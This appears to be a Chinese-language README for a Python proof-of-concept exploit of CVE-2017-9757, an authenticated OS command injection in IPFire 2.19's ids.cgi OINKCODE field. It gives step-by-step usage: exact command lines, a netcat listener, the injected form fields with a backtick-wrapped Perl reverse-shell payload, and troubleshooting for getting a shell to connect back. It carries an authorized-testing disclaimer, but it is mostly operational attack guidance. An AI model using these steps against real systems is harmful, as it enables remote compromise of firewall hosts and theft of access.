针对 IPFire 2.19 的 ids.cgi 页面中通过 OINKCODE 参数存在的认证后命令注入漏洞的 Python 概念验证(PoC)。
仅供授权的安全测试和培训实验环境使用。 仅可针对您拥有或已获得明确测试许可的系统运行此 PoC。作者不对因使用此代码造成的滥用或损害负责。
IPFire 2.19 在 /cgi-bin/ids.cgi 处理的 OINKCODE 参数中存在操作系统命令注入漏洞。该参数未经适当中和便被拼接到 shell 命令中,使已认证用户能够在 IPFire 主机上执行命令。
该漏洞通常被标识为 CVE-2017-9757,对应 CWE-78:对 OS 命令中使用的特殊元素的不当中和('OS Command Injection')。
最初的公开 PoC 已在 IPFire 2.19 Core Update 110 上完成测试。Metasploit 模块认为 Core Update 110 及更早的 IPFire 2.19 版本均在其支持的检测范围内。
Exploit-DB 上的原始 Python PoC 使用以下内容执行验证请求:
OINKCODE = '`id`'
随后,仅当 HTTP 响应中包含以下内容时才判定目标存在漏洞:
uid=99(nobody)
这种验证方式并不可靠。命令可能确实执行了,但其输出被 CGI 构造的 shell 命令消耗,而不会反映在返回给客户端的 HTML 响应中。因此,服务器可能返回正常的 HTTP 200 页面却不包含 id 的输出,从而产生漏报。
本实现遵循 Metasploit 模块使用的验证逻辑:
/cgi-bin/pakfire.cgi。<= 2.19 且 Core Update <= 110 视为疑似存在漏洞。OINKCODE 字段中向 /cgi-bin/ids.cgi 发送命令载荷。200 响应视为请求被拒绝或认证问题。uid=99(nobody)。该 PoC 还使用了 Perl 命令 shell 载荷,与 Metasploit 模块支持的载荷类型一致。HTTP 响应成功本身并不能证明反弹 shell 已建立连接;还必须验证监听器和网络路径。
Metasploit 模块的重要成功标准是:非预期的响应码表示凭据无效或请求被拒绝。它并不要求响应正文包含所注入命令的输出。
requestsperl 形式提供安装 Python 依赖:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
未提供 --password 时,脚本会以交互方式提示输入密码。建议采用这种方式,因为把密码直接写在命令中可能会通过 shell 历史记录或进程列表泄露。
请在 --lhost 和 --lport 指定的地址和端口上启动监听器:
rlwrap nc -lvnp 4444
如果未安装 rlwrap,请使用:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
对于 IPFire 常见的自签名 HTTPS 证书,需要使用 --insecure/-k。仅在实验环境中确实无法进行证书验证时才使用该选项。
目标也可以以完整的基准 URL 形式提供:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
仅在已通过其他方式确认 IPFire 版本时才使用此选项:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
如果 Perl 不在目标的默认 PATH 中,请提供其绝对路径:
--perl-path /usr/bin/perl
ids.cgi 返回 HTTP 200这意味着按照 Metasploit 模块使用的相同实际标准,HTTP 请求已被 CGI 接受。返回正常的 HTML 响应属于预期情况,并不能证明漏洞检测失败。
请检查监听器是否收到 shell。如果没有 shell 连接进来,请排查回连地址、路由、防火墙出站规则、Perl 是否可用以及所选端口。
HTTP 401 或 HTTP 403请求未通过授权。请检查用户名、密码、目标 URL、端口,以及该账户能否访问 IPFire Web 界面。
HTTP 404目标 URL 或 CGI 路径可能不正确,或者该服务并非预期的 IPFire Web 界面。
脚本未能在 pakfire.cgi 中找到预期的版本字符串。在使用 --skip-version-check 之前,请先手动确认目标版本。
注入的命令在尝试回调时可能会使 CGI 请求保持打开状态。请将此视为需要检查监听器的信号,而非已获得 shell 的确凿证据。
脚本使用 HTTP 基本认证,并向 ids.cgi 发送以下表单字段:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
命令被反引号包裹,因为存在漏洞的应用程序会将 OINKCODE 的值拼接到 shell 命令中。具体的请求行为取决于目标版本及其本地配置。
200 响应仅表示请求已被接受,并不代表反弹 shell 已到达监听器。ipfire_oinkcode_exec.rb本项目是一个教育用途的 Python 实现,基于 0x09AL 的公开研究和概念验证,以及 Metasploit 社区维护的 Metasploit 模块编写而成。它与 IPFire、Exploit-DB 或 Rapid7 无关联,也未获得其认可。
| 对比项 | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | 本 PoC |
|---|
| 受影响端点 | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| 版本检测 | 无 | GET /cgi-bin/pakfire.cgi | 与 Metasploit 相同的检测方式 |
| 认证方式 | 基本认证 | Basic Auth 请求头 | 通过 requests.Session 进行基本认证 |
| 初始验证 | 执行 `id` 并搜索响应正文 | 先检测版本,再发送载荷 | 检测版本并使用 HTTP 响应码 |
| 漏报风险 | 高:取决于 uid=99(nobody) 是否被回显 | 避免正文内容验证 | 避免正文内容验证 |
| 反弹 shell | Bash /dev/tcp | Metasploit Unix 命令载荷 | Perl IO::Socket::INET 命令 shell |
| TLS 处理 | PoC 中禁用了证书验证 | 默认启用 SSL | 仅通过 -k/--insecure 禁用验证 |
| 配置方式 | 在源码中修改取值 | Metasploit 选项 | 命令行参数 |
| 选项 | 默认值 | 说明 |
|---|
-t, --target | 必需 | 目标主机/IP 或完整的基准 URL |
--scheme | https | 当目标仅为主机/IP 时使用的协议方案 |
--web-port | 444 | IPFire Web 界面端口 |
-u, --username | admin | IPFire 用户名 |
-p, --password | 交互提示 | 密码;省略时以无回显方式输入 |
--lhost | 必需 | 可从 IPFire 访问的监听器地址 |
--lport | 4444 | 监听器端口 |
--perl-path | perl | 目标机上的 Perl 可执行文件 |
--timeout | 10 | HTTP 超时时间(秒) |
-k, --insecure | 默认禁用 | 禁用 TLS 证书验证 |
--skip-version-check | 默认禁用 | 跳过 pakfire.cgi 检测 |
--check-only | 默认禁用 | 仅执行版本检测 |